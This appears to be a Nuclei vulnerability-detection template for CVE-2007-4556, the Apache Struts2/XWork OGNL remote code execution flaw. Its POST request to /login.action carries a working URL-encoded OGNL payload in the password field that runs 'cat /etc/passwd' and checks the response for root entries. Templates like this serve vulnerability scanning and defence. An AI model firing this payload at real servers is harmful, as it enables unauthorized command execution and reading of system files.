id: CVE-2007-4556

info:
  name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution
  author: pikpikcu
  severity: medium
  description: |
    Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
  remediation: |
    Update to the latest version of Apache Struts2
  reference:
    - https://www.guildhab.top/?p=2326
    - https://nvd.nist.gov/vuln/detail/CVE-2007-4556
    - https://cwiki.apache.org/confluence/display/WW/S2-001
    - http://forums.opensymphony.com/ann.jspa?annID=54
    - http://issues.apache.org/struts/browse/WW-2030
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2007-4556
    cwe-id: NVD-CWE-Other
    epss-score: 0.19583
    epss-percentile: 0.9579
    cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: opensymphony
    product: xwork
  tags: cve,cve2007,apache,rce,struts

http:
  - method: POST
    path:
      - "{{BaseURL}}/login.action"

    body: |
      username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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